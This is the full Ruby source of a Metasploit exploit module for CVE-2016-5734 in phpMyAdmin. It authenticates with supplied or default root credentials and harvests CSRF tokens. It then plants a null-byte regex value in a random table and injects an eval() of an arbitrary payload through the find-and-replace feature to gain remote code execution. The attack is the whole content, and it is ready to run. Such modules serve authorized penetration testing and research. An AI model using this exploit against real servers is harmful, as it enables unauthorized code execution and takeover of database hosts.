## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'phpMyAdmin Authenticated Remote Code Execution', 'Description' => %q{ phpMyAdmin 4.0.x before 4.0.10.16, 4.4.x before 4.4.15.7, and 4.6.x before 4.6.3 does not properly choose delimiters to prevent use of the preg_replace (aka eval) modifier, which might allow remote attackers to execute arbitrary PHP code via a crafted string, as demonstrated by the table search-and-replace implementation. }, 'Author' => [ 'Michal AihaA and Cure53', # Discovery 'Matteo Cantoni ' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ [ 'BID', '91387' ], [ 'CVE', '2016-5734' ], [ 'CWE', '661' ], [ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2016-27/' ], [ 'URL', 'https://security.gentoo.org/glsa/201701-32' ], [ 'URL', 'https://www.exploit-db.com/exploits/40185/' ], ], 'Privileged' => true, 'Platform' => [ 'php' ], 'Arch' => ARCH_PHP, 'Payload' => { 'BadChars' => "&\n=+%", }, 'Targets' => [ [ 'Automatic', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 23 2016')) register_options( [ OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']), OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']), OptString.new('PASSWORD', [ false, "Password to authenticate with", '']), OptString.new('DATABASE', [ true, "Existing database at a server", 'phpmyadmin']) ]) end def check begin res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') }) rescue print_error("#{peer} - Unable to connect to server") return Exploit::CheckCode::Unknown end if res.nil? || res.code != 200 print_error("#{peer} - Unable to query /js/messages.php") return Exploit::CheckCode::Unknown end # PHP 4.3.0-5.4.6 # PHP > 5.4.6 not exploitable because null byte in regexp warning php_version = res['X-Powered-By'] if php_version vprint_status("#{peer} - PHP version: #{php_version}") if php_version =~ /PHP\/(\d+\.\d+\.\d+)/ version = Gem::Version.new($1) vprint_status("#{peer} - PHP version: #{version.to_s}") if version > Gem::Version.new('5.4.6') return Exploit::CheckCode::Safe end end else vprint_status("#{peer} - Unknown PHP version") end # 4.3.0 - 4.6.2 authorized user RCE exploit if res.body =~ /pmaversion = '(\d+\.\d+\.\d+)';/ version = Gem::Version.new($1) vprint_status("#{peer} - phpMyAdmin version: #{version.to_s}") if version >= Gem::Version.new('4.3.0') and version <= Gem::Version.new('4.6.2') return Exploit::CheckCode::Appears elsif version < Gem::Version.new('4.3.0') return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end return Exploit::CheckCode::Unknown end def exploit return unless check == Exploit::CheckCode::Appears uri = target_uri.path vprint_status("#{peer} - Grabbing CSRF token...") response = send_request_cgi({ 'uri' => uri}) if response.nil? fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token") elsif (response.body !~ /"token"\s*value="([^"]*)"/) fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?") end token = $1 vprint_status("#{peer} - Retrieved token #{token}") vprint_status("#{peer} - Authenticating...") login = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'index.php'), 'vars_post' => { 'token' => token, 'pma_username' => datastore['USERNAME'], 'pma_password' => datastore['PASSWORD'] } }) if login.nil? fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage") elsif login.redirect? token = login.redirection.to_s.scan(/token=(.*)[&|$]/).flatten.first else fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Wrong phpMyAdmin version?") end cookies = login.get_cookies login_check = send_request_cgi({ 'uri' => normalize_uri(uri, 'index.php'), 'vars_get' => { 'token' => token }, 'cookie' => cookies }) if login_check.nil? fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage") elsif login_check.body =~ /Welcome to/ fail_with(Failure::NoAccess, "#{peer} - Authentication failed") end vprint_status("#{peer} - Authentication successful") # Create random table and column rand_table = Rex::Text.rand_text_alpha_lower(3+rand(3)) rand_column = Rex::Text.rand_text_alpha_lower(3+rand(3)) sql_value = '0%2Fe%00' vprint_status("#{peer} - Create random table '#{rand_table}' into '#{datastore['DATABASE']}' database..."); create_rand_table = send_request_cgi({ 'uri' => normalize_uri(uri, 'import.php'), 'method' => 'POST', 'cookie' => cookies, 'encode_params' => false, 'vars_post' => { 'show_query' => '0', 'ajax_request' => 'true', 'db' => datastore['DATABASE'], 'pos' => '0', 'is_js_confirmed' => '0', 'fk_checks' => '0', 'sql_delimiter' => ';', 'token' => token, 'SQL' => 'Go', 'ajax_page_request' => 'true', 'sql_query' => "CREATE+TABLE+`#{rand_table}`+( ++++++`#{rand_column}`+varchar(10)+CHARACTER+SET"\ "+utf8+NOT+NULL ++++)+ENGINE=InnoDB+DEFAULT+CHARSET=latin1; ++++INSERT+INTO+`#{rand_table}`+"\ "(`#{rand_column}`)+VALUES+('#{sql_value}'); ++++", } }) if create_rand_table.nil? || create_rand_table.body =~ /(.*)\\n(.*)\\n<\\\/code>(.*)/i fail_with(Failure::Unknown, "#{peer} - Failed to create a random table") end vprint_status("#{peer} - Random table created") # Execute command command = Rex::Text.uri_encode(payload.encoded) exec_cmd = send_request_cgi({ 'uri' => normalize_uri(uri, 'tbl_find_replace.php'), 'method' => 'POST', 'cookie' => cookies, 'encode_params' => false, 'vars_post' =>{ 'columnIndex' => '0', 'token' => token, 'submit' => 'Go', 'ajax_request' => 'true', 'goto' => 'sql.php', 'table' => rand_table, 'replaceWith' => "eval%28%22#{command}%22%29%3B", 'db' => datastore['DATABASE'], 'find' => sql_value, 'useRegex' => 'on' } }) # Remove random table vprint_status("#{peer} - Remove the random table '#{rand_table}' from '#{datastore['DATABASE']}' database") rm_table = send_request_cgi({ 'uri' => normalize_uri(uri, 'import.php'), 'method' => 'POST', 'cookie' => cookies, 'encode_params' => false, 'vars_post' => { 'show_query' => '0', 'ajax_request' => 'true', 'db' => datastore['DATABASE'], 'pos' => '0', 'is_js_confirmed' => '0', 'fk_checks' => '0', 'sql_delimiter' => ';', 'token' => token, 'SQL' => 'Go', 'ajax_page_request' => 'true', 'sql_query' => "DROP+TABLE+`#{rand_table}`" } }) if rm_table.nil? || rm_table.body !~ /(.*)MySQL returned an empty result set \(i.e. zero rows\).(.*)/i print_bad("#{peer} - Failed to remove the table '#{rand_table}'") end end end